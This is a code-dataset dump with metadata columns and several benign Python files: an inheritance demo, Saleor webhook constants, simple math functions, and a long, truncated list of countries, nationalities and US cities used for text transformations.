hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
046b02e3089d697190f30958c9c28865fea0bfc0
| 335
|
py
|
Python
|
Training/multipleInheritance.py
|
srikanteswartalluri/pyutils
|
bf8d56ac9e9b0786861c08ef32eae49b021f20a3
|
[
"0BSD"
] | null | null | null |
Training/multipleInheritance.py
|
srikanteswartalluri/pyutils
|
bf8d56ac9e9b0786861c08ef32eae49b021f20a3
|
[
"0BSD"
] | null | null | null |
Training/multipleInheritance.py
|
srikanteswartalluri/pyutils
|
bf8d56ac9e9b0786861c08ef32eae49b021f20a3
|
[
"0BSD"
] | null | null | null |
class A:
def Am(self):
print self.__class__, '=>I am in A'
class B(A):
def Am(self):
print self.__class__, '=>I am in Am'
def Bm(self):
print self.__class__, '=>I am in Bm'
class C(A, B):
def Cm(self):
print self.__class__, '=>I am in Cm'
a = A()
b = B()
c = C()
c.Am()
c.Bm()
c.Cm()
| 15.952381
| 44
| 0.510448
| 61
| 335
| 2.540984
| 0.196721
| 0.232258
| 0.335484
| 0.464516
| 0.670968
| 0.670968
| 0.670968
| 0.374194
| 0.374194
| 0.374194
| 0
| 0
| 0.304478
| 335
| 20
| 45
| 16.75
| 0.665236
| 0
| 0
| 0.117647
| 0
| 0
| 0.140299
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.235294
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
047e4883792669a719f20b31be6958e1481ca3b5
| 137
|
py
|
Python
|
saleor/plugins/webhook/const.py
|
victor-abz/saleor
|
f8e2b49703d995d4304d5a690dbe9c83631419d0
|
[
"CC-BY-4.0"
] | 1,392
|
2021-10-06T15:54:28.000Z
|
2022-03-31T20:50:55.000Z
|
saleor/plugins/webhook/const.py
|
victor-abz/saleor
|
f8e2b49703d995d4304d5a690dbe9c83631419d0
|
[
"CC-BY-4.0"
] | 888
|
2021-10-06T10:48:54.000Z
|
2022-03-31T11:00:30.000Z
|
saleor/plugins/webhook/const.py
|
victor-abz/saleor
|
f8e2b49703d995d4304d5a690dbe9c83631419d0
|
[
"CC-BY-4.0"
] | 538
|
2021-10-07T16:21:27.000Z
|
2022-03-31T22:58:57.000Z
|
CACHE_EXCLUDED_SHIPPING_KEY = "webhook_exclude_shipping_id_"
CACHE_EXCLUDED_SHIPPING_TIME = 60 * 3
EXCLUDED_SHIPPING_REQUEST_TIMEOUT = 2
| 34.25
| 60
| 0.875912
| 19
| 137
| 5.631579
| 0.684211
| 0.448598
| 0.392523
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031746
| 0.080292
| 137
| 3
| 61
| 45.666667
| 0.81746
| 0
| 0
| 0
| 0
| 0
| 0.20438
| 0.20438
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0487255c7d8d652fee4a870631cfc9d20ba49e50
| 189
|
py
|
Python
|
resc/resc.py
|
hboshnak/pipenv-template
|
8620cfca392defb445bae0ecf9ef2acde879e7c5
|
[
"MIT"
] | 1
|
2021-07-13T05:29:40.000Z
|
2021-07-13T05:29:40.000Z
|
resc/resc.py
|
hboshnak/pipenv-template
|
8620cfca392defb445bae0ecf9ef2acde879e7c5
|
[
"MIT"
] | 5
|
2021-02-25T21:32:28.000Z
|
2021-09-08T16:32:21.000Z
|
resc/resc.py
|
hboshnak/pipenv-template
|
8620cfca392defb445bae0ecf9ef2acde879e7c5
|
[
"MIT"
] | 1
|
2021-07-13T05:29:30.000Z
|
2021-07-13T05:29:30.000Z
|
"""
Some math functions.
"""
def add(a_num, b_num):
"""Adds two numbers."""
return a_num + b_num
def sub(a_num, b_num):
"""Subtract two numbers."""
return a_num - b_num
| 13.5
| 31
| 0.597884
| 31
| 189
| 3.387097
| 0.451613
| 0.152381
| 0.190476
| 0.304762
| 0.457143
| 0.457143
| 0.457143
| 0
| 0
| 0
| 0
| 0
| 0.238095
| 189
| 13
| 32
| 14.538462
| 0.729167
| 0.31746
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
04d6d9bdfb6806d1fe10f45e5030602272decb0f
| 18,886
|
py
|
Python
|
src/sibyl/transformations/text/data/locations.py
|
UCLA-SEAL/Sibyl
|
06e9d38ef551284ab48f507dc40d14fde3562fb6
|
[
"BSD-3-Clause"
] | null | null | null |
src/sibyl/transformations/text/data/locations.py
|
UCLA-SEAL/Sibyl
|
06e9d38ef551284ab48f507dc40d14fde3562fb6
|
[
"BSD-3-Clause"
] | null | null | null |
src/sibyl/transformations/text/data/locations.py
|
UCLA-SEAL/Sibyl
|
06e9d38ef551284ab48f507dc40d14fde3562fb6
|
[
"BSD-3-Clause"
] | null | null | null |
NAMED_ENTITIES = {
"country": [
"China", "India", "United States", "Indonesia", "Pakistan", "Brazil", "Nigeria", "Bangladesh", "Russian Federation", "Japan", "Mexico", "Ethiopia", "Philippines", "Egypt", "Vietnam", "Germany", "Turkey", "Iran", "Thailand", "France", "United Kingdom", "Italy", "South Africa", "Tanzania", "Myanmar", "Kenya", "Colombia", "Spain", "Ukraine", "Argentina", "Uganda", "Algeria", "Sudan", "Iraq", "Poland", "Afghanistan", "Canada", "Morocco", "Saudi Arabia", "Uzbekistan", "Peru", "Malaysia", "Angola", "Ghana", "Mozambique", "Venezuela", "Yemen", "Nepal", "Madagascar", "Korea", "Cameroon", "Australia", "Niger", "Sri Lanka", "Burkina Faso", "Romania", "Mali", "Chile", "Kazakhstan", "Malawi", "Zambia", "Guatemala", "Netherlands", "Ecuador", "Syrian Arab Republic", "Cambodia", "Senegal", "Chad", "Somalia", "Zimbabwe", "Guinea", "Rwanda", "Tunisia", "Benin", "Belgium", "Bolivia", "Cuba", "Burundi", "Haiti", "South Sudan", "Greece", "Dominican Republic", "Czech Republic", "Portugal", "Sweden", "Jordan", "Azerbaijan", "Hungary", "United Arab Emirates", "Honduras", "Belarus", "Tajikistan", "Israel", "Austria", "Papua New Guinea", "Switzerland", "Togo", "Sierra Leone", "Hong Kong SAR", "Lao PDR", "Bulgaria", "Serbia", "Paraguay", "Lebanon", "Libya", "Nicaragua", "El Salvador", "Kyrgyz Republic", "Turkmenistan", "Denmark", "Singapore", "Finland", "Slovak Republic", "Norway", "Congo", "Costa Rica", "New Zealand", "Ireland", "Oman", "Liberia", "Central African Republic", "West Bank and Gaza", "Mauritania", "Panama", "Kuwait", "Croatia", "Georgia", "Moldova", "Uruguay", "Bosnia and Herzegovina", "Eritrea", "Puerto Rico", "Mongolia", "Armenia", "Jamaica", "Albania", "Lithuania", "Qatar", "Namibia", "Gambia", "Botswana", "Gabon", "Lesotho", "North Macedonia", "Slovenia", "Latvia", "Guinea-Bissau", "Kosovo", "Bahrain", "Trinidad and Tobago", "Estonia", "Equatorial Guinea", "Timor-Leste", "Mauritius", "Cyprus", "Eswatini", "Djibouti", "Fiji", "Comoros", "Guyana", "Bhutan", "Solomon Islands", "Macao SAR", "Montenegro", "Luxembourg", "Suriname", "Cabo Verde", "Maldives", "Malta", "Brunei Darussalam", "Bahamas", "Belize", "Iceland", "Vanuatu", "Barbados", "New Caledonia", "French Polynesia", "Samoa", "St. Lucia", "Channel Islands", "Guam", "Kiribati", "Micronesia", "Grenada", "St. Vincent and the Grenadines", "Virgin Islands (U.S.)", "Aruba", "Tonga", "Seychelles", "Antigua and Barbuda", "Isle of Man", "Andorra", "Dominica", "Cayman Islands", "Bermuda", "Marshall Islands", "Northern Mariana Islands", "Greenland", "American Samoa", "St. Kitts and Nevis", "Faroe Islands", "Sint Maarten (Dutch part)", "Monaco", "Liechtenstein", "Turks and Caicos Islands", "St. Martin (French part)", "San Marino", "Gibraltar", "British Virgin Islands", "Palau", "Nauru", "Tuvalu", "C\u00f4te d'Ivoire", "Cura\u00e7ao", "S\u00e3o Tom\u00e9 and Principe",
],
"nationality": [
"Chinese", "Indian", "American", "Indonesian", "Pakistani", "Brazilian", "Nigerian", "Bangladeshi", "Russian", "Japanese", "Mexican", "Ethiopian", "Philippine", "Egyptian", "Vietnamese", "German", "Turkish", "Iranian", "Thai", "French", "British", "Italian", "South African", "Tanzanian", "Burmese", "Kenyan", "Colombian", "Spanish", "Ukrainian", "Argentine", "Ugandan", "Algerian", "Sudanese", "Iraqi", "Polish", "Afghan", "Canadian", "Moroccan", "Saudi", "Uzbekistani", "Peruvian", "Malaysian", "Angolan", "Ghanaian", "Mozambican", "Venezuelan", "Yemeni", "Nepali", "Malagasy", "South Korean", "Cameroonian", "Australian", "Nigerien", "Sri Lankan", "Burkinab\u00e9", "Romanian", "Malian", "Chilean", "Kazakhstani", "Malawian", "Zambian", "Guatemalan", "Dutch", "Ecuadorian", "Syrian", "Cambodian", "Senegalese", "Chadian", "Somali", "Zimbabwean", "Guinean", "Rwandan", "Tunisian", "Beninese", "Belgian", "Bolivian", "Cuban", "Burundian", "Haitian", "South Sudanese", "Greek", "Dominican", "Czech", "Portuguese", "Swedish", "Jordanian", "Azerbaijani", "Hungarian", "Emirati", "Honduran", "Belarusian", "Tajikistani", "Israeli", "Austrian", "Papua New Guinean", "Swiss", "Togolese", "Sierra Leonean", "Hong Kong", "Lao", "Bulgarian", "Serbian", "Paraguayan", "Lebanese", "Libyan", "Nicaraguan", "Salvadoran", "Kyrgyzstani", "Turkmen", "Danish", "Singaporean", "Finnish", "Slovak", "Norwegian", "Congolese", "Costa Rican", "New Zealand", "Irish", "Omani", "Liberian", "Central African", "Palestinian", "Mauritanian", "Panamanian", "Kuwaiti", "Croatian", "Georgian", "Moldovan", "Uruguayan", "Bosnian or Herzegovinian", "Eritrean", "Puerto Rican", "Mongolian", "Armenian", "Jamaican", "Albanian", "Lithuanian", "Qatari", "Namibian", "Gambian", "Motswana", "Gabonese", "Basotho", "Macedonian", "Slovenian", "Latvian", "Bissau-Guinean", "from Kosovo", "Bahraini", "Trinidadian or Tobagonian", "Estonian", "Equatorial Guinean", "Timorese", "Mauritian", "Cypriot", "Swazi", "Djiboutian", "Fijian", "Comoran", "Guyanese", "Bhutanese", "Solomon Island", "Macanese", "Montenegrin", "Luxembourg", "Surinamese", "Cabo Verdean", "Maldivian", "Maltese", "Bruneian", "Bahamian", "Belizean", "Icelandic", "Ni-Vanuatu", "Barbadian", "New Caledonian", "French Polynesian", "Samoan", "Saint Lucian", "from Channel Islands", "Guamanian", "I-Kiribati", "Micronesian", "Grenadian", "Saint Vincentian", "U.S. Virgin Island", "Aruban", "Tongan", "Seychellois", "Antiguan or Barbudan", "Manx", "Andorran", "Dominican", "Caymanian", "Bermudian", "Marshallese", "Northern Marianan", "Greenlandic", "American Samoan", "Kittitian or Nevisian", "Faroese", "Sint Maarten", "Mon\u00e9gasque", "Liechtenstein", "Turks and Caicos Island", "Saint-Martinoise", "Sammarinese", "Gibraltar", "British Virgin Island", "Palauan", "Nauruan", "Tuvaluan", "Ivorian", "Cura\u00e7aoan", "S\u00e3o Tom\u00e9an",
],
"city": [
"New York", "Los Angeles", "Chicago", "Houston", "Philadelphia", "Phoenix", "San Antonio", "San Diego", "Dallas", "San Jose", "Austin", "Indianapolis", "Jacksonville", "San Francisco", "Columbus", "Charlotte", "Fort Worth", "Detroit", "El Paso", "Memphis", "Seattle", "Denver", "Washington", "Boston", "Nashville-Davidson", "Baltimore", "Oklahoma City", "Louisville/Jefferson County", "Portland", "Las Vegas", "Milwaukee", "Albuquerque", "Tucson", "Fresno", "Sacramento", "Long Beach", "Kansas City", "Mesa", "Virginia Beach", "Atlanta", "Colorado Springs", "Omaha", "Raleigh", "Miami", "Oakland", "Minneapolis", "Tulsa", "Cleveland", "Wichita", "Arlington", "New Orleans", "Bakersfield", "Tampa", "Honolulu", "Aurora", "Anaheim", "Santa Ana", "St. Louis", "Riverside", "Corpus Christi", "Lexington-Fayette", "Pittsburgh", "Anchorage", "Stockton", "Cincinnati", "St. Paul", "Toledo", "Greensboro", "Newark", "Plano", "Henderson", "Lincoln", "Buffalo", "Jersey City", "Chula Vista", "Fort Wayne", "Orlando", "St. Petersburg", "Chandler", "Laredo", "Norfolk", "Durham", "Madison", "Lubbock", "Irvine", "Winston-Salem", "Glendale", "Garland", "Hialeah", "Reno", "Chesapeake", "Gilbert", "Baton Rouge", "Irving", "Scottsdale", "North Las Vegas", "Fremont", "Boise City", "Richmond", "San Bernardino", "Birmingham", "Spokane", "Rochester", "Des Moines", "Modesto", "Fayetteville", "Tacoma", "Oxnard", "Fontana", "Columbus", "Montgomery", "Moreno Valley", "Shreveport", "Aurora", "Yonkers", "Akron", "Huntington Beach", "Little Rock", "Augusta-Richmond County", "Amarillo", "Glendale", "Mobile", "Grand Rapids", "Salt Lake City", "Tallahassee", "Huntsville", "Grand Prairie", "Knoxville", "Worcester", "Newport News", "Brownsville", "Overland Park", "Santa Clarita", "Providence", "Garden Grove", "Chattanooga", "Oceanside", "Jackson", "Fort Lauderdale", "Santa Rosa", "Rancho Cucamonga", "Port St. Lucie", "Tempe", "Ontario", "Vancouver", "Cape Coral", "Sioux Falls", "Springfield", "Peoria", "Pembroke Pines", "Elk Grove", "Salem", "Lancaster", "Corona", "Eugene", "Palmdale", "Salinas", "Springfield", "Pasadena", "Fort Collins", "Hayward", "Pomona", "Cary", "Rockford", "Alexandria", "Escondido", "McKinney", "Kansas City", "Joliet", "Sunnyvale", "Torrance", "Bridgeport", "Lakewood", "Hollywood", "Paterson", "Naperville", "Syracuse", "Mesquite", "Dayton", "Savannah", "Clarksville", "Orange", "Pasadena", "Fullerton", "Killeen", "Frisco", "Hampton", "McAllen", "Warren", "Bellevue", "West Valley City", "Columbia", "Olathe", "Sterling Heights", "New Haven", "Miramar", "Waco", "Thousand Oaks", "Cedar Rapids", "Charleston", "Visalia", "Topeka", "Elizabeth", "Gainesville", "Thornton", "Roseville", "Carrollton", "Coral Springs", "Stamford", "Simi Valley", "Concord", "Hartford", "Kent", "Lafayette", "Midland", "Surprise", "Denton", "Victorville", "Evansville", "Santa Clara", "Abilene", "Athens-Clarke County", "Vallejo", "Allentown", "Norman", "Beaumont", "Independence", "Murfreesboro", "Ann Arbor", "Springfield", "Berkeley", "Peoria", "Provo", "El Monte", "Columbia", "Lansing", "Fargo", "Downey", "Costa Mesa", "Wilmington", "Arvada", "Inglewood", "Miami Gardens", "Carlsbad", "Westminster", "Rochester", "Odessa", "Manchester", "Elgin", "West Jordan", "Round Rock", "Clearwater", "Waterbury", "Gresham", "Fairfield", "Billings", "Lowell", "San Buenaventura (Ventura)", "Pueblo", "High Point", "West Covina", "Richmond", "Murrieta", "Cambridge", "Antioch", "Temecula", "Norwalk", "Centennial", "Everett", "Palm Bay", "Wichita Falls", "Green Bay", "Daly City", "Burbank", "Richardson", "Pompano Beach", "North Charleston", "Broken Arrow", "Boulder", "West Palm Beach", "Santa Maria", "El Cajon", "Davenport", "Rialto", "Las Cruces", "San Mateo", "Lewisville", "South Bend", "Lakeland", "Erie", "Tyler", "Pearland", "College Station", "Kenosha", "Sandy Springs", "Clovis", "Flint", "Roanoke", "Albany", "Jurupa Valley", "Compton", "San Angelo", "Hillsboro", "Lawton", "Renton", "Vista", "Davie", "Greeley", "Mission Viejo", "Portsmouth", "Dearborn", "South Gate", "Tuscaloosa", "Livonia", "New Bedford", "Vacaville", "Brockton", "Roswell", "Beaverton", "Quincy", "Sparks", "Yakima", "Lee's Summit", "Federal Way", "Carson", "Santa Monica", "Hesperia", "Allen", "Rio Rancho", "Yuma", "Westminster", "Orem", "Lynn", "Redding", "Spokane Valley", "Miami Beach", "League City", "Lawrence", "Santa Barbara", "Plantation", "Sandy", "Sunrise", "Macon", "Longmont", "Boca Raton", "San Marcos", "Greenville", "Waukegan", "Fall River", "Chico", "Newton", "San Leandro", "Reading", "Norwalk", "Fort Smith", "Newport Beach", "Asheville", "Nashua", "Edmond", "Whittier", "Nampa", "Bloomington", "Deltona", "Hawthorne", "Duluth", "Carmel", "Suffolk", "Clifton", "Citrus Heights", "Livermore", "Tracy", "Alhambra", "Kirkland", "Trenton", "Ogden", "Hoover", "Cicero", "Fishers", "Sugar Land", "Danbury", "Meridian", "Indio", "Concord", "Menifee", "Champaign", "Buena Park", "Troy", "O'Fallon", "Johns Creek", "Bellingham", "Westland", "Bloomington", "Sioux City", "Warwick", "Hemet", "Longview", "Farmington Hills", "Bend", "Lakewood", "Merced", "Mission", "Chino", "Redwood City", "Edinburg", "Cranston", "Parma", "New Rochelle", "Lake Forest", "Napa", "Hammond", "Fayetteville", "Bloomington", "Avondale", "Somerville", "Palm Coast", "Bryan", "Gary", "Largo", "Brooklyn Park", "Tustin", "Racine", "Deerfield Beach", "Lynchburg", "Mountain View", "Medford", "Lawrence", "Bellflower", "Melbourne", "St. Joseph", "Camden", "St. George", "Kennewick", "Baldwin Park", "Chino Hills", "Alameda", "Albany", "Arlington Heights", "Scranton", "Evanston", "Kalamazoo", "Baytown", "Upland", "Springdale", "Bethlehem", "Schaumburg", "Mount Pleasant", "Auburn", "Decatur", "San Ramon", "Pleasanton", "Wyoming", "Lake Charles", "Plymouth", "Bolingbrook", "Pharr", "Appleton", "Gastonia", "Folsom", "Southfield", "Rochester Hills", "New Britain", "Goodyear", "Canton", "Warner Robins", "Union City", "Perris", "Manteca", "Iowa City", "Jonesboro", "Wilmington", "Lynwood", "Loveland", "Pawtucket", "Boynton Beach", "Waukesha", "Gulfport", "Apple Valley", "Passaic", "Rapid City", "Layton", "Lafayette", "Turlock", "Muncie", "Temple", "Missouri City", "Redlands", "Santa Fe", "Lauderhill", "Milpitas", "Palatine", "Missoula", "Rock Hill", "Jacksonville", "Franklin", "Flagstaff", "Flower Mound", "Weston", "Waterloo", "Union City", "Mount Vernon", "Fort Myers", "Dothan", "Rancho Cordova", "Redondo Beach", "Jackson", "Pasco", "St. Charles", "Eau Claire", "North Richland Hills", "Bismarck", "Yorba Linda", "Kenner", "Walnut Creek", "Frederick", "Oshkosh", "Pittsburg", "Palo Alto", "Bossier City", "Portland", "St. Cloud", "Davis", "South San Francisco", "Camarillo", "North Little Rock", "Schenectady", "Gaithersburg", "Harlingen", "Woodbury", "Eagan", "Yuba City", "Maple Grove", "Youngstown", "Skokie", "Kissimmee", "Johnson City", "Victoria", "San Clemente", "Bayonne", "Laguna Niguel", "East Orange", "Shawnee", "Homestead", "Rockville", "Delray Beach", "Janesville", "Conway", "Pico Rivera", "Lorain", "Montebello", "Lodi", "New Braunfels", "Marysville", "Tamarac", "Madera", "Conroe", "Santa Cruz", "Eden Prairie", "Cheyenne", "Daytona Beach", "Alpharetta", "Hamilton", "Waltham", "Coon Rapids", "Haverhill", "Council Bluffs", "Taylor", "Utica", "Ames", "La Habra", "Encinitas", "Bowling Green", "Burnsville", "Greenville", "West Des Moines", "Cedar Park", "Tulare", "Monterey Park", "Vineland", "Terre Haute", "North Miami", "Mansfield", "West Allis", "Bristol", "Taylorsville", "Malden", "Meriden", "Blaine", "Wellington", "Cupertino", "Springfield", "Rogers", "St. Clair Shores", "Gardena", "Pontiac", "National City", "Grand Junction", "Rocklin", "Chapel Hill", "Casper", "Broomfield", "Petaluma", "South Jordan", "Springfield", "Great Falls", "Lancaster", "North Port", "Lakewood", "Marietta", "San Rafael", "Royal Oak", "Des Plaines", "Huntington Park", "La Mesa", "Orland Park", "Auburn", "Lakeville", "Owensboro", "Moore", "Jupiter", "Idaho Falls", "Dubuque", "Bartlett", "Rowlett", "Novi", "White Plains", "Arcadia", "Redmond", "Lake Elsinore", "Ocala", "Tinley Park", "Port Orange", "Medford", "Oak Lawn", "Rocky Mount", "Kokomo", "Coconut Creek", "Bowie", "Berwyn", "Midwest City", "Fountain Valley", "Buckeye", "Dearborn Heights", "Woodland", "Noblesville", "Valdosta", "Diamond Bar", "Manhattan", "Santee", "Taunton", "Sanford", "Kettering", "New Brunswick", "Decatur", "Chicopee", "Anderson", "Margate", "Weymouth Town", "Hempstead", "Corvallis", "Eastvale", "Porterville", "West Haven", "Brentwood", "Paramount", "Grand Forks", "Georgetown", "St. Peters", "Shoreline", "Mount Prospect", "Hanford", "Normal", "Rosemead", "Lehi", "Pocatello", "Highland", "Novato", "Port Arthur", "Carson City", "San Marcos", "Hendersonville", "Elyria", "Revere", "Pflugerville", "Greenwood", "Bellevue", "Wheaton", "Smyrna", "Sarasota", "Blue Springs", "Colton", "Euless", "Castle Rock", "Cathedral City", "Kingsport", "Lake Havasu City", "Pensacola", "Hoboken", "Yucaipa", "Watsonville", "Richland", "Delano", "Hoffman Estates", "Florissant", "Placentia", "West New York", "Dublin", "Oak Park", "Peabody", "Perth Amboy", "Battle Creek", "Bradenton", "Gilroy", "Milford", "Albany", "Ankeny", "La Crosse", "Burlington", "DeSoto", "Harrisonburg", "Minnetonka", "Elkhart", "Lakewood", "Glendora", "Southaven", "Charleston", "Joplin", "Enid", "Palm Beach Gardens", "Brookhaven", "Plainfield", "Grand Island", "Palm Desert", "Huntersville", "Tigard", "Lenexa", "Saginaw", "Kentwood", "Doral", "Apple Valley", "Grapevine", "Aliso Viejo", "Sammamish", "Casa Grande", "Pinellas Park", "Troy", "West Sacramento", "Burien", "Commerce City", "Monroe", "Cerritos", "Downers Grove", "Coral Gables", "Wilson", "Niagara Falls", "Poway", "Edina", "Cuyahoga Falls", "Rancho Santa Margarita", "Harrisburg", "Huntington", "La Mirada", "Cypress", "Caldwell", "Logan", "Galveston", "Sheboygan", "Middletown", "Murray", "Roswell", "Parker", "Bedford", "East Lansing", "Methuen", "Covina", "Alexandria", "Olympia", "Euclid", "Mishawaka", "Salina", "Azusa", "Newark", "Chesterfield", "Leesburg", "Dunwoody", "Hattiesburg", "Roseville", "Bonita Springs", "Portage", "St. Louis Park", "Collierville", "Middletown", "Stillwater", "East Providence", "Lawrence", "Wauwatosa", "Mentor", "Ceres", "Cedar Hill", "Mansfield", "Binghamton", "Coeur d'Alene", "San Luis Obispo", "Minot", "Palm Springs", "Pine Bluff", "Texas City", "Summerville", "Twin Falls", "Jeffersonville", "San Jacinto", "Madison", "Altoona", "Columbus", "Beavercreek", "Apopka", "Elmhurst", "Maricopa", "Farmington", "Glenview", "Cleveland Heights", "Draper", "Lincoln", "Sierra Vista", "Lacey", "Biloxi", "Strongsville", "Barnstable Town", "Wylie", "Sayreville", "Kannapolis", "Charlottesville", "Littleton", "Titusville", "Hackensack", "Newark", "Pittsfield", "York", "Lombard", "Attleboro", "DeKalb", "Blacksburg", "Dublin", "Haltom City", "Lompoc", "El Centro", "Danville", "Jefferson City", "Cutler Bay", "Oakland Park", "North Miami Beach", "Freeport", "Moline", "Coachella", "Fort Pierce", "Smyrna", "Bountiful", "Fond du Lac", "Everett", "Danville", "Keller", "Belleville", "Bell Gardens", "Cleveland", "North Lauderdale", "Fairfield", "Salem", "Rancho Palos Verdes", "San Bruno", "Concord", "Burlington", "Apex", "Midland", "Altamonte Springs", "Hutchinson", "Buffalo Grove", "Urbandale", "State College", "Urbana", "Plainfield", "Manassas", "Bartlett", "Kearny", "Oro Valley", "Findlay", "Rohnert Park", "Westfield", "Linden", "Sumter", "Wilkes-Barre", "Woonsocket", "Leominster", "Shelton", "Brea", "Covington", "Rockwall", "Meridian", "Riverton", "St. Cloud", "Quincy", "Morgan Hill", "Warren", "Edmonds", "Burleson", "Beverly", "Mankato", "Hagerstown", "Prescott", "Campbell", "Cedar Falls", "Beaumont", "La Puente", "Crystal Lake", "Fitchburg", "Carol Stream", "Hickory", "Streamwood", "Norwich", "Coppell", "San Gabriel", "Holyoke", "Bentonville", "Florence", "Peachtree Corners", "Brentwood", "Bozeman", "New Berlin", "Goose Creek", "Huntsville", "Prescott Valley", "Maplewood", "Romeoville", "Duncanville", "Atlantic City", "Clovis", "The Colony", "Culver City", "Marlborough", "Hilton Head Island", "Moorhead", 